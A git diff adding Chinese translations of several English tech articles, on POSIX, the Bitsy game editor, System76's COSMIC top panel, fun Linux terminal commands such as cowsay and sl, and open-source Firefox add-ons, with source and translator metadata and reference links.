https://github.com/crowdsecurity/cs-php-bouncer/blob/main/install.sh +[11]: https://opensource.com/sites/default/files/3bouncer.png (apache install script) +[12]: https://opensource.com/sites/default/files/4blocked.png (site access attempt) +[13]: https://hub.crowdsec.net/ +[14]: https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/bad_user_agents.txt +[15]: https://opensource.com/sites/default/files/7decisions-again.png (detected scan) +[16]: https://opensource.com/sites/default/files/8sitedeny.png (CAPTCHA prompt) +[17]: https://opensource.com/sites/default/files/10decisionsagain.png (scan detected) +[18]: https://opensource.com/sites/default/files/11sitedeny.png (site access attempt) +[19]: https://crowdsec.net/tutorial-crowdsec-v1-1/ +[20]: https://hub.crowdsec.net/author/crowdsecurity/bouncers/cs-php-bouncer +[21]: https://github.com/crowdsecurity/cs-php-bouncer diff --git a/published/202201/20220119 What is POSIX- Why Does it Matter to Linux-UNIX Users.md b/published/202201/20220119 What is POSIX- Why Does it Matter to Linux-UNIX Users.md new file mode 100644 index 0000000000..e25c700996 --- /dev/null +++ b/published/202201/20220119 What is POSIX- Why Does it Matter to Linux-UNIX Users.md @@ -0,0 +1,97 @@ +[#]: subject: "What is POSIX? Why Does it Matter to Linux/UNIX Users?" +[#]: via: "https://itsfoss.com/posix/" +[#]: author: "Bill Dyer https://itsfoss.com/author/bill/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14201-1.html" + +Linux 黑话解释:什么是 POSIX? +====== + +POSIX,你肯定在各种在线论坛和文章中,听到过这个缩写,或读到过关于它的信息。程序员和系统开发人员似乎最关心这个问题。它听起来很神秘,虽然有很多关于这个主题的好资料,但一些讨论区(简洁是它们的特点)并没有详细说明它是什么,这可能会让人困扰。那么,POSIX 到底是什么? + +![][1] + +### POSIX 简介 + +与其说 POSIX 是一个东西,不如说是一个标签。想象一下,有一个盒子,上面贴着标签:POSIX,而盒子里是一个标准。该标准由 POSIX 所关注的规则和指令集组成。**POSIX** 是可移植操作系统接口Portable Operating System Interface 的缩写。它是一个 IEEE 1003.1 标准,其定义了应用程序(以及命令行 Shell 和实用程序接口)和 UNIX 操作系统之间的语言接口。 + +当 UNIX 程序从一个 UNIX 平台移植到另一个平台时,遵守该标准可以确保其兼容性。POSIX 主要关注的是 AT&T 的 System V UNIX 和 BSD UNIX 的特性。 + +该标准必须阐明并遵循如何实现操作系统之间互操作性的目标的规则。POSIX 涵盖了以下内容:系统接口、命令和实用程序、网络文件访问,这里仅举几例(POSIX 的内容远不止这些)。 + +### 为什么有 POSIX? + +一句话:可移植性。 + +60 多年前,如果程序员想让他们的软件在一个以上的系统上运行,就必须完全重写代码。由于所涉及的费用,这种情况并不经常发生,但在 1960 年代中期,可移植性成为一种特性 —— 不是通过 POSIX,而是在大型机领域。 + +IBM 推出了 System/360 系列的大型计算机。不同的型号有其独特的规范,但硬件使得它们可以使用同一个操作系统:OS/360。 + +不仅操作系统可以在不同的型号上运行,应用程序也可以在它们上面运行。这不仅降低了成本,而且创造了“计算机系统”:可以跨产品线协同工作的系统。今天,这一切都很常见,比如网络和系统,但在当时,这是一个巨大的进步! + +![IBM System 360 | 图片来源:IBM][2] + +大约在同一时间,当 UNIX 出现的时候,它也做出了承诺,它可以在不同制造商的机器上运行。然而,当 UNIX 开始衍生出不同的流派时,在这些 UNIX 变体之间移植代码变得很困难。UNIX 可移植性的承诺正在失去基础。 + +为了解决这个可移植性问题,在 20 世纪 80 年代形成了 POSIX 标准。这个标准是在 AT&T 的 System V UNIX 和 BSD UNIX 的基础上定义的,这是当时最大的两个 UNIX 变体。值得注意的是,POSIX 的形成并不是为了控制操作系统的构建方式,任何公司都可以自由地以他们喜欢的方式设计他们的 UNIX 变体。POSIX 只关心应用程序与操作系统的接口是怎样的。用程序员的话来说,接口是一个程序的代码与另一个程序的通信方法。接口期望程序 A 向程序 B 提供特定类型的信息。同样地,程序 A 期望程序 B 用特定类型的数据来回答。 + +例如,如果我想用 `cat` 命令读取一个文件,我会在命令行上输入类似这样的内容: + +``` +cat myfile.txt +``` + +我不想说很多程序员的术语,简单的来说,`cat` 命令调用操作系统来获取文件,以便 `cat` 能够读取它。`cat` 读取它,然后在屏幕上显示文件的内容。在应用程序(`cat`)和操作系统之间有很多的相互作用。这种相互作用如何工作是 POSIX 所关心的。如果这种相互作用在不同的 UNIX 变体中是相同的,那么可移植性,无论操作系统、制造商和硬件如何,就可以重新获得了。 + +关于如何实现这一切的具体细节,在该标准中作了规定。 + +### 合规是自愿的 + +我们所有人都至少见过这样的信息:“如需帮助,请输入:XXXX -help”。这在 Linux 中很常见,但是这不符合 POSIX 标准。POSIX 从来没有要求双破折号,他们希望用一个破折号。双破折号来自 GNU,然而,它并没有损害 Linux,而且还为其增加了一点特性。同时,Linux 大部分都是兼容 POSIX 的,特别是在涉及到系统调用接口时。这就是为什么我们能够在 Linux、Sys V UNIX 和 BSD UNIX 上运行 X、GNOME 和 KDE 应用程序。各种命令,如 `ls`、`cat`、`grep`、`find`、`awk` 等,在不同的变体中操作相同。 + +作为一项规则,合规是一个自愿的步骤。当代码符合要求时,移到另一个系统上就比较容易,很少有必要或根本不需要重写代码。当代码可以在不同的系统上工作时,它的使用范围就会扩大。使用其他系统的人可以从使用该程序中受益。对于初出茅庐的程序员来说,学习如何编写符合 POSIX 标准的程序,就能对他们的职业生涯有所帮助。对于那些对 Linux 领域的合规性感兴趣的读者,可以在以下网站找到很多好的信息: [Linux 基本标准(LSB)][3]。 + +### 但我不是程序员或系统设计师... + +许多从事计算机工作的人并不是程序员或操作系统设计师。他们是医院的文员,是写信件、任务清单、听写备忘录的秘书,等等。其他人则是将数字制成表格,收集和整理数据,经营网上商店,写书和文章(我们中的一些人还会阅读这些文章)。几乎在每一个工作中,附近都可能有一台计算机。 + +POSIX 也影响着这些用户,不管他们是否知道。用户不一定要遵守这个标准,但他们确实希望他们的计算机能够工作。当操作系统和程序符合 POSIX 标准时,他们就获得了互操作性的好处。他们将能够从一个系统转移到另一个系统,并合理地期望这些机器能够像另一个系统那样工作。他们的数据仍然可以访问,他们仍然能够对其进行修改。 + +POSIX,以及其他标准,都在不断发展。随着技术的发展,标准也在发展。标准实际上是人们、制造商、组织等用来以有效的方式执行任务的商定系统。一个制造商的设备能够与另一个制造商的设备一起工作。想一想吧。你的蓝牙耳机可以在苹果手机上使用,也可以在安卓手机上使用。我们的电视可以连接到不同网络的视频和节目,如 Amazon Prime、BritBox、Hulu —— 仅举几例。现在,我们甚至可以用我们的手机监测心率。所有这些在很大程度上都是通过遵守标准而实现的。 + +好处多多。我喜欢这样。 + +### 那么 “X” 是什么? + +我承认,我还没说过 POSIX 中的 “X” 是什么意思。[在一篇很好的文章中][4],Richard Stallman 解释了 POSIX 中的 “X” 是什么意思。用他的话来说就是这样: + +> IEEE 已经完成了规范的制定,但没有简洁的名称。标题是 “可移植的操作系统接口”,虽然我不记得确切的字眼了。委员会把 “IEEEIX” 作为简写。我不认为这是个好的选择。它的发音很难听 —— 听起来就像恐怖的尖叫声,“Ayeee!” —— 所以我预计人们会把这个规范叫为 “Unix”。 +> +> 由于 GNU 不是 Unix,而它的目的是取代 Unix,我不希望人们把 GNU 称为 “Unix 系统”。因此,我提出了一个人们可能真正使用的简洁的名字。在没有特别灵感的情况下,我用了一种很笨的方式取了一个名字。我取了 “可移植操作系统” 的首字母并加上 “ix”。IEEE 马上就采用了这个名字。 + +### 结论 + +POSIX 标准允许开发者使用大部分相同的代码在许多操作系统上创建应用程序、工具和平台。不管怎么说,按照标准写代码并不是一个要求,但当你想把你的代码移植到其他系统时,它确实有很大的帮助。 + +基本上,POSIX 是面向操作系统设计者和软件开发者的,但作为系统的使用者,无论我们是否意识到,我们都受到 POSIX 的影响。正是因为有了这个标准,我们才能够在一个 UNIX 或 Linux 系统上工作,并把工作带到另一个系统上,而且工作起来毫无障碍。作为用户,我们在可用性和跨系统的数据重复使用方面获得了许多好处。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/posix/ + +作者:[Bill Dyer][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/bill/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/What-is-POSIX.png?resize=800%2C450&ssl=1 +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/IBM-system-360-vintage-picture.jpg?resize=800%2C593&ssl=1 +[3]: https://refspecs.linuxfoundation.org/lsb.shtml +[4]: https://opensource.com/article/19/7/what-posix-richard-stallman-explains diff --git a/published/202201/20220121 Make a video game with Bitsy.md b/published/202201/20220121 Make a video game with Bitsy.md new file mode 100644 index 0000000000..07a9aafa86 --- /dev/null +++ b/published/202201/20220121 Make a video game with Bitsy.md @@ -0,0 +1,94 @@ +[#]: subject: "Make a video game with Bitsy" +[#]: via: "https://opensource.com/article/22/1/bitsy-game-design" +[#]: author: "Peter Cheer https://opensource.com/users/petercheer" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14224-1.html" + +用 Bitsy 制作电子游戏 +====== + +> Bitsy 是一个开源电子游戏设计软件。 其简约的功能使任何人都可以探索他们的创造力。 + +![](https://img.linux.net.cn/data/attachment/album/202201/29/180248kkvmou3klq9qkyky.jpg) + +有许多游戏设计程序和各种游戏设计方法,但对我来说,最突出的是 Bitsy。Bitsy 由 Adam Le Doux 在 2017 年创建,在 MIT 许可下发布,用其创造者的话说,Bitsy 是:“一个用于小游戏或世界的编辑器。其目标是使制作游戏变得容易,在那里你可以四处走动,与人交谈,并到某个地方。” + +### 安装 Bitsy + +Bitsy 是用 JavaScript 编写的,可以制作 HTML5 游戏。你可以从 [GitHub][2] 或 [它的创造者的网站][3] 下载它。它很小,很容易学习,有独特的位图艺术风格,有意在功能上有所欠缺,而且能做的事情有限。 + +尽管(也许是因为)这些限制,Bitsy 自发布以来吸引了一个充满活力的用户社区。用户对 Bitsy 采取的两个主要方法是:接受限制和寻求突破限制,看看你能走多远。 + +### 创意的界限 + +Bitsy 的局限性意味着接受这些局限性仍能制作出令人满意的游戏,这就成为一个需要创造性和创造力的挑战。你可以在 [Itch.io 网站][4] 上看到和玩一些用 Bitsy 制作的令人印象深刻的游戏。同时,人们也想出了一些黑科技、调整和扩展。这些都在不牺牲 Bitsy 的本质的前提下突破了一些限制。 + +Bitsy 的基本元素是一个代表玩家的头像、发生游戏动作的房间、精灵(可以与之互动的非玩家角色)和物品。有一个用于创建这些元素的位图编辑器,它也支持简单的两帧动画。 + +![Bitsy bitmap editor][5] + +在 Bitsy 中工作依赖于条件变量,而不是成熟的脚本,这使得没有编码背景的人容易学习,但有时会让那些期待更多灵活性的人感到沮丧。 + +如果你想了解 Bitsy 的基本情况,你可以在创作者的网站上了解,或者下载并在本地运行。 + +![Bitsy room editor][7] + +### 文档 + +关于 Bitsy 的文档并不是只有一个地方可以去看。如果你想看 Bitsy 的操作,可以在 YouTube 上找到各种短视频。我更喜欢基于文本的教程,我发现最有用的三个资源是: + + * [Itch.io 网站上提供的官方 Bitsy 教程][8],作者是 Claire Morwood + * [Bitsy workshop PDF][9], 由用户 haraiva 提供 + * [Bitsy 变量][10], 教程由用户 ayolland 编写 + +阅读这些教程,尝试一些 Bitsy 游戏,并开始创造你自己的东西。开始时要保持简单。当你熟悉了 Bitsy,你可能想研究一下人们为它创造的一些 [工具、黑科技和扩展][11]。 + +它也是教育工作者的完美工具,甚至还有教育工作者 Hal Meeks 的 [Bitsy 课程][12] 可供在线学习。 + +你还可以在 [Itch.io 网站][13] 上找到人们为 Bitsy 制作的大量游戏资源。 + +### Twine 整合 + +你可能已经尝试过流行的基于浏览器的游戏开发工具 [Twine][14]。你可以将 Bitsy 与 Twine 不同程度地整合。整合的范围可以从简单地将 Bitsy 游戏放在一个 iframe 中显示在你的 Twine 游戏中,到在两个引擎之间共享变量和对话命令,让你在 Bitsy 游戏中执行基本的 Twine 命令!如果你对这些感兴趣,那么请看: + + * [结合 Bitsy 和 Twine 的教程][15] + * [Bitsy 黑科技][16] + * [Freya 的 Twisty 模板][17] + +### 给初学者的 Bitsy + +初学者很容易入门 Bitsy,无论你是编程新手还是仅仅是游戏设计的新手。有了它,你可以探索它在激发创造力、想象力和创造性方面的所有可能性。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/bitsy-game-design + +作者:[Peter Cheer][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/petercheer +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/open_gaming_games_roundup_news.png?itok=KM0ViL0f (Gaming artifacts with joystick, GameBoy, paddle) +[2]: https://github.com/le-doux/bitsy +[3]: https://ledoux.itch.io/bitsy +[4]: https://itch.io/games/tag-bitsy +[5]: https://opensource.com/sites/default/files/uploads/bitsy-editor-sprite.jpg (Bitsy bitmap editor) +[6]: https://creativecommons.org/licenses/by-sa/4.0/ +[7]: https://opensource.com/sites/default/files/uploads/bitsy-editor-room.jpg (Bitsy room editor) +[8]: https://www.shimmerwitch.space/bitsyTutorial.html +[9]: https://static1.squarespace.com/static/58930a6c893fc0a33ae624db/t/5bacd94ac83025ead3937071/1538054510407/BITSY-WORKSHOP.pdf +[10]: https://ayolland.itch.io/trevor/devlog/29520/bitsy-variables-a-tutorial +[11]: https://itch.io/tools/tag-bitsy +[12]: https://halmeeks.net/bitsyclass/ +[13]: https://itch.io/game-assets/tag-bitsy +[14]: https://opensource.com/article/18/2/twine-gaming +[15]: https://spdrcstl.com/blog/bitsy-twine-tutorial.html +[16]: https://github.com/seleb/bitsy-hacks/blob/main/dist/twine-bitsy-comms.js +[17]: https://communistsister.itch.io/twitsy-template-1 diff --git a/published/202201/20220121 System76-s COSMIC Desktop Panel Looks Refreshing.md b/published/202201/20220121 System76-s COSMIC Desktop Panel Looks Refreshing.md new file mode 100644 index 0000000000..d99744502b --- /dev/null +++ b/published/202201/20220121 System76-s COSMIC Desktop Panel Looks Refreshing.md @@ -0,0 +1,136 @@ +[#]: subject: "System76’s COSMIC Desktop Panel Looks Refreshing!" +[#]: via: "https://news.itsfoss.com/system76-cosmic-panel/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14203-1.html" + +System76 的 COSMIC 桌面面板看起来很清爽! +====== + +> System76 分享了其即将推出的使用 Rust 开发的 COSMIC 桌面的顶部面板草图。看起来令人惊叹! + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/cosmic-top-panel-ft.png?w=1200&ssl=1) + +System76 令人兴奋的用 Rust 开发的 COSMIC 桌面的开发工作现在正在进行中。 + +虽然我们已经用早期的代码 [试过了][1],但我们现在可以看到更多的东西。从其 [GitHub 仓库][2] 和 [Figma 文档][3] 的一些原型中,我们可以看到它的更多信息。 + +值得注意的是,我们可以看到顶部面板和系统托盘,正如你在 COSMIC 桌面上所期望的那样。 + +这仍是一项正在进行的工作,可能会有变化。 + +### COSMIC 桌面的顶部面板 + +Pop!_OS 依赖于 GNOME 扩展来通过顶部面板或系统托盘图标提供更多的功能。 + +随着即将推出的使用 Rust 开发的 COSMIC 桌面,看起来他们正在创建新的小程序,与当前的外观相融合,并提供更多的功能。 + +开发者 Eduardo Flores [分解研究][4] 了它,发现了关键的区别以及 System76 的目标是如何使其发挥作用。 + +而且,这也是它更有趣的地方: + +> 看起来 System76 正在摆脱传统的“扩展”,计划为第三方小程序设计一个 API,这与 KDE、XFce 和其他公司的做法类似。 +> +> 这是一个令人兴奋的消息,将使 COSMIC 成为一个更强大的桌面环境,使其可以扩展和定制。 + +另外,似乎这些小程序也可以和顶部面板一起放在坞站里。我们会在其未来的某个测试版中看到更多的实际情况。 + +在这里,让我重点介绍一下从现有的草图中观察到的基本变化: + +#### 1、声音小程序 + +![用 Rust 开发的 COSMIC 桌面(声音小程序)][5] + +与我们现在所拥有的相比,COSMIC 的目标是增加细化的控制,如选择输入/输出设备、在顶部面板上切换媒体控制的选项、控制媒体播放,以及访问声音设置。 + +虽然草图没有显示专辑封面,但在发布前会包括它。 + +作为参考,以下是 Pop!_OS 顶部面板选项现在的样子。 + +![Pop!_OS 21.10(COSMIC,基于 GNOME)][6] + +#### 2、电源小程序 + +![][7] + +很高兴看到有一个专门的电源按钮来快速访问系统设置、锁屏和注销。 + +另外,暂停、重启和关机的按钮应该可以提高可用性,关闭计算机不用额外的点击。 + +#### 3、网络小程序 + +虽然你可以很容易地打开或关闭有线、无线网络,但会弹出一个占据了整个屏幕的单独窗口来选择 Wi-Fi 网络并输入密码。 + +![][8] + +但是,看起来我们终于可以在这里输入密码,连接到可用的无线网络,并重试失败的连接,而不必从活动窗口分心。所有这些都发生在系统托盘上的网络小程序上,如上面的截图所示。 + +同样,你可以看到关于你的有线连接的更多信息,包括 IP 地址和速度。 + +#### 4、日期、时间和日历小程序 + +![][9] + +最重要的日历小程序看起来更加实用,信息量更大。通知区不再驻留在这里(它现在有一个单独的小程序),使它的体验更干净,可以把注意力放在你关注的东西上。 + +一些细微的视觉改进,比如用重点颜色来突出日历中的某一行,应该会使它更容易理解。 + +#### 5、通知中心 + +![][10] + +正如我前面提到的,通知现在有一个独立的空间。通知小程序会将所有的通知堆积起来,并允许你在需要时展开它们,或者将它们全部清除。 + +我们仍然有“请勿打扰”开关,并可以快速访问通知设置。 + +#### 6、图形模式小程序 + +![][11] + +这对笔记本电脑用户来说应该是非常有用的,可以在图形模式之间无缝切换,并可以看到当前使用的哪种模式。 + +除了所有这些,还有一个蓝牙小程序、一个电池电源模式小程序,以及一些其他的东西,比如改变输入语言或输入源的能力。 + +![][12] + +![][13] + +鉴于这是初次看到使用 Rust 开发 COSMIC 桌面顶部面板的外观,看来我们有很多东西要去看了。 + +### 总结 + +总的来说,System76 正准备为我们提供一个高度可定制但又简化的 COSMIC 桌面版本。 + +而所有这些都应该有助于形成一种独特的桌面体验。当然,明年你就得在 Pop!_OS 中和 GNOME 说再见了。 + +你怎么看?请在下面的评论中告诉我你的想法! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/system76-cosmic-panel/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/system76-rust-cosmic-desktop/ +[2]: https://github.com/pop-os/cosmic-panel/issues +[3]: https://www.figma.com/proto/ZeGTqzAM7dVZgjEW3uhxcd/Top-panel?node-id=559%3A11100&scaling=scale-down&page-id=559%3A11099&starting-point-node-id=559%3A11100&show-proto-sidebar=1 +[4]: https://blog.edfloreshz.dev/articles/linux/system76/cosmic-panel/ +[5]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/pop-os-cosmic-sound-applet-early.png?w=820&ssl=1 +[6]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/pop-os-current-top-panel.png?resize=1568%2C1037&ssl=1 +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/cosmic-new-power-applet.png?w=598&ssl=1 +[8]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/cosmic-new-network-applet.png?w=768&ssl=1 +[9]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/cosmic-new-date-panel.png?w=1188&ssl=1 +[10]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/cosmic-new-notifications.png?w=1132&ssl=1 +[11]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/cosmic-new-graphics-applet.png?w=822&ssl=1 +[12]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/cosmic-new-battery.png?w=598&ssl=1 +[13]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/cosmic-new-bluetooth.png?w=678&ssl=1 diff --git a/published/202201/20220122 Our favorite Linux commands to use just for fun.md b/published/202201/20220122 Our favorite Linux commands to use just for fun.md new file mode 100644 index 0000000000..55bd11c388 --- /dev/null +++ b/published/202201/20220122 Our favorite Linux commands to use just for fun.md @@ -0,0 +1,134 @@ +[#]: subject: "Our favorite Linux commands to use just for fun" +[#]: via: "https://opensource.com/article/22/1/fun-linux-commands" +[#]: author: "Opensource.com https://opensource.com/users/admin" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14226-1.html" + +我们最喜欢的好玩的 Linux 命令 +====== + +> Linux 命令行以生产力强而闻名。它也是一个可以获得一些乐趣的地方! + +![](https://img.linux.net.cn/data/attachment/album/202201/30/104636dwqkzr9wqq4k6w0r.jpg) + +去年 11 月,我们分享了一篇文章《[7 个好玩的 Linux 命令][2]》,并请读者们告诉我们推荐的“好玩”的 Linux 命令是什么,以及为什么? + +一些读者在下面分享了他们的最爱: + +--- + +这是我的最爱: + + * 当然得有 `cowsay`! + * `fortune`,我最喜欢的 “黑科技” 是让用户连接时的 `motd` 成为一个幽默的格言。 + * `sl`,在你的终端上的蒸汽机车。 + * `xsnow`,另一个 XWindow 黑科技,这个命令可以在你的工作区降雪,并堆积在打开的窗口上。 + * GNOME 复活节彩蛋,在 GNOME 2 中,按下 `Alt+F2`(打开运行对话框)并输入 `free the fish`,就可以在你的根窗口中释放 “Wanda the Fish”。如果你点击 Wanda,它就会四处游荡,窜来窜去(一段时间)。 + +~[Dave Neary][3] + +--- + +我的一天从这些开始: + +`fortune`、`cowsay`、`lolcat` + +![Don't take life too seriously][4] + +紧接着是 `curl` [wttr.in][6]。 + +![Weather][7] + +现在我们可以喝咖啡了 ;-) + +~[Tomasz Waraksa][8] + +--- + +`cmatrix` ,因为每当这个时候,你就会觉得自己被插入了机器。 + + +~[Gary Smith][9] + +--- + +``` +telnet towel.blinkenlights.nl +``` + +这并不完全是 Linux 特有的,但它还挺棒的。 + +~[John 'Warthog9' Hawley][10] + +--- + +Xroach 是 20 世纪 90 年代你的窗口管理器的一个很酷的附加功能。当时它与 Tab Window Manager (TWM)和 F Virtual Window Manager (FVWM)一起使用时非常有趣,但我已经多年没有使用它了。当你运行 Xroach 时,它添加了小蟑螂并“住”在你的窗口下。当你移动一个窗口或关闭它时,蟑螂就会窜到另一个窗口下躲起来或跑出屏幕。这只是其中一种使桌面更有趣的小方法。 + +看起来有一个 [Xroach 的现代移植][11],我得找个时间试试。 + +~[Jim Hall][12] + +--- + +我在 90 年代末担任过计算机科学的助教,我们的计算机实验室里有 Sun Sparc 工作站。有时学生会在实验室时间里走开而不锁屏。每隔一段时间,我就会在他们不注意的时候在终端上执行 `xroach &; clear`。 + +XRoach 是个好东西。蟑螂躲在窗口下,在屏幕上窜来窜去,当你移动一个窗口时,又躲在另一个窗口下。 + +~[Ann Marie Fred][13] + +--- + +我最喜欢的一个是 `hollywood`,在 [这里][14] 了解下。 + +只需运行它并开始随意按键,你就会让星巴克的每个人都相信你正在摧毁美国。 + +~[Clint Byrum][15] + +[Jim Hall][12] 对此回应道: + +这真是太棒了! 这让我想起了 [Hacker Typer][16]。它是一个网站而不是一个终端程序。只要调出网站,然后敲击键盘。不管你输入什么,Hacker Typer 的输出都似乎是真正的工作。:-) + +为了回应 Clint Byrum(和 Jim Hall 的回应)带来的乐趣: + +这两个我都喜欢! 请欣赏这篇关于 Hollywood 黑科技的 [博文][17]。我最爱之一。 + +~[Greg Scott][18] + +--- + +你最喜欢的“有趣的” Linux 命令是什么?请在下面的评论中分享你的。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/fun-linux-commands + +作者:[Opensource.com][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/admin +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/lenovo-thinkpad-laptop-window-focus.png?itok=g0xPm2kD (young woman working on a laptop) +[2]: https://opensource.com/article/21/11/fun-linux-commands +[3]: https://opensource.com/users/dneary +[4]: https://opensource.com/sites/default/files/uploads/too-seriously.png (Don't take life too seriously) +[5]: https://creativecommons.org/licenses/by-sa/4.0/ +[6]: http://wttr.in/ +[7]: https://opensource.com/sites/default/files/uploads/wttr.png (Weather) +[8]: https://opensource.com/user_articles/380541 +[9]: https://opensource.com/users/greptile +[10]: https://opensource.com/users/warthog9 +[11]: https://github.com/interkosmos/xroach +[12]: https://opensource.com/users/jim-hall +[13]: https://opensource.com/users/annmarie99 +[14]: https://snapcraft.io/install/hollywood/ubuntu +[15]: https://opensource.com/users/spamaps +[16]: https://hackertyper.net/ +[17]: https://www.dgregscott.com/hollywood-hacker/ +[18]: https://opensource.com/users/greg-scott diff --git a/published/202201/20220123 9 Open Source Add-Ons to Improve Your Mozilla Firefox Experience.md b/published/202201/20220123 9 Open Source Add-Ons to Improve Your Mozilla Firefox Experience.md new file mode 100644 index 0000000000..47c7570ff1 --- /dev/null +++ b/published/202201/20220123 9 Open Source Add-Ons to Improve Your Mozilla Firefox Experience.md @@ -0,0 +1,192 @@ +[#]: subject: "9 Open Source Add-Ons to Improve Your Mozilla Firefox Experience" +[#]: via: "https://itsfoss.com/best-firefox-add-ons/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14223-1.html" + +9 个可以改善你的 Firefox 体验的插件 +====== + +Firefox 显然是 Linux 用户中最受欢迎的开源网络浏览器之一。 + +事实上,它是 [可用于 Linux 的最佳网络浏览器][1] 之一。但是,它的附加组件(或扩展组件)如何呢? + +考虑到你更喜欢开源的解决方案,你是否在使用开源服务的附加组件?有哪些你可以安装的最好的开源 Mozilla Firefox 附加组件? + +### 你应该尝试的开源 Firefox 扩展程序 + +![][2] + +需要注意的是,在 Firefox 中并不是每个附加组件都是开源的。 + +此外,有几个开源项目的 Firefox 附加组件采用了不同的许可证。 + +#### 1、Dark Reader + +![][3] + +[Dark Reader][5] 是一个流行的浏览器扩展,让你打开网站的深色模式。该扩展只是简单地改变背景和文本颜色,以融合深色模式主题。 + +在默认情况下,它与几乎所有网站都能很好地配合。然而,如果你认为深色模式无法阅读(或不好看),你也可以自定义颜色、对比度、亮度和灰度。 + +你也可以选择在特定的网站上启用它,而在其他网站上禁用它。在这两种情况下,你都可以创建一个网站白名单/黑名单的列表。 + +它是一个尊重用户隐私的开源项目。你可以在它的 [GitHub 页面][4] 中了解更多关于它的信息,或者安装该附加组件来尝试它。 + +#### 2、Bitwarden + +![][6] + +毋庸置疑,这是现有的 [最佳密码管理器][7] 之一。 + +[Bitwarden][10] 是一个开源的密码管理器,提供各种功能。它专注于提供有竞争力的开源解决方案。 + +这个用于 Mozilla Firefox 的密码管理器插件并不亚于任何其他类似产品。你可以通过该扩展获得所有的基本功能,包括生成密码、管理你的保险库以及一些高级选项。 + +在我的使用场景中,我没有发现这个扩展有任何不足之处。如果你还没有试过,你应该尝试一下这个插件。你可以看看它的 [GitHub页面][9] 来了解更多信息。 + +#### 3、Vimium-FF + +![][11] + +这是一个受 [Vim 键盘快捷键][12] 启发的开源工具,最初出现在 Chrome 浏览器上,后被移植到 Firefox。 + +Mozilla Firefox 上的 [Vimium][14] 附加组件还在开发中,最近没有新版本。然而,作为一个实验性的附加组件,它仍然拥有优秀的用户评价。 + +这个附加组件可以让你使用键盘快捷方式来改善你的浏览体验。例如,你可以设置快捷键来滚动、查看源代码、启用插入模式、浏览历史记录、检查下载等。 + +如果你对键盘快捷键很熟悉,这个附加组件应该是你的菜,尝试一下吧。 + +你可以找到它的 [GitHub 页面][13],也可以试试它的几个定制版本(复刻)。 + +#### 4、uBlock Origin + +![][15] + +如果你想摆脱网站中的那些动来动去的元素,以改善浏览体验,[uBlock Origin][17] 是一个出色的内容拦截器。 + +首先,它能阻止各种广告、跟踪器、弹出式窗口,以使网页的加载速度更快。如果一些网页在你的浏览器中加载时出现卡顿,它应该会派上用场。 + +如果一个网站不能正常运行,你也可以选择选择性地阻止或允许 JavaScript。它还具有过滤列表的功能,帮助你积极地阻断或尽量减少阻断,以平衡网络浏览体验而不破坏网站。 + +诸如阻止恶意域名、阻止大于特定尺寸的媒体等高级功能,能帮助你保持安全并节省网络带宽。查看其 [GitHub页面][16] 以了解更多技术细节。 + +#### 5、LanguageTool + +![][18] + +**注意:** 在这个列表中,我们尽量推荐完全开源的 Firefox 附加组件。但是,这是一个例外,作为一个非 FOSS 附加组件,其服务最初是开源的,但该扩展不是。 + +[LanguageTool][21] 是一个开源的语法和拼写检查器,它尊重你的隐私,使它成为与 Grammarly 和其他同类产品相当的替代品。它可以免费使用,但可以选择升级为高级更正功能。 + 